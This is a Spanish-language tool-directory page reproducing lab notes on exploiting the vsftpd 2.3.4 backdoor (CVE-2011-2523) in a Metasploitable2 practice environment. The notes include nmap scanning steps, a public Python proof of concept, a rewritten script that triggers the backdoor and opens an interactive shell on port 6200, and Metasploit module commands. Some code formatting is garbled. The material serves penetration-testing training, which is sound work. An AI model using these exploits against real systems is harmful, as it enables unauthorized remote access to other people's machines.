Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2011-2523 — Guía de explotación manual y automatizada para el backdoor de vsftpd 2.3.4 (CVE-2011-2523) con un payload personalizado de reverse shell e integración con Metasploit para entrenamiento en pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/hklabcr/cve-2011-2523
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

Guía de explotación manual y automatizada para el backdoor de vsftpd 2.3.4 (CVE-2011-2523) con un payload personalizado de reverse shell e integración con Metasploit para entrenamiento en pruebas de penetración.

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2011-2523

Estos son apuntes para la creación de la metodología de ataque en un entorno controlado. Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima

1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra 2- importante el entrono esta configurado con vmware así que se deben ejecutar ambas maquinas en este hipervisor 3-el proceso inicial realizar un ip para verificar que exista conexión entre los dos puntas 4-usar nmap sV Pn 192.168.253.128 una vez que realizamos el reconocimiento encontramos multiples puertos 21 ftp vsftpd 2.3.4

Como parte del entrenamiento se pretende atacar cada puerto para logra ingreso de múltiples formas iniciamos con el siguiente puerto Se tratara de realizar una situación de caja negra para poder resolver o simular condiciones reales lo más posible.

Explotación puerto 21 FTP

Se inicia con la utilización de nmap -Pn -sV 10.0.2.5 buscamos en la base de datos publicas y encontramos CVE-2011-2523 la cual es un backdoor y lo trataremos de explotar para tener acceso a la maquina victima

primero debemos comprender que existe un backdoor en la explotación que se realizara en este caso en particular. al tratar de encontrar la forma de vulnerar este sistema por medio de la vulnerabilidad existente se encuentra información en packetstorm.news se presenta un POC que prueba que se puede explotar pero no es del todo funcional como se aprecia en el siguiente codigo:

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

lo cual al leer el código se puede comprender que lo que se pretender es probar que se puede hacer no es hacerlo un script funcional por lo cual para realizar practicas más realista realice una modificación sustancial para que este tuviera un shell inverso el cual permitiera un acceso más adecuado desde el momento de la ejecución del código. La modificación del código llevo al siguiente resultado: #!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

root@kitploit:~
    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

root@kitploit:~
    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

root@kitploit:~
target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

por lo anterior se puede comprender que puede ser una forma rebuscada manual para afrontar este ejemplo pero se trata de crear diversas opciones para poder crecer en el ambiente de la seguridad informática y mejorar las habilidades.

La otra forma que se puede emplear es usando metasploit de la siguiente forma msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run como se comprende ambos hacen exactamente lo mismo solo que uno ya se encuentra automatizado y el otro es un proceso más manual.

Descargar herramienta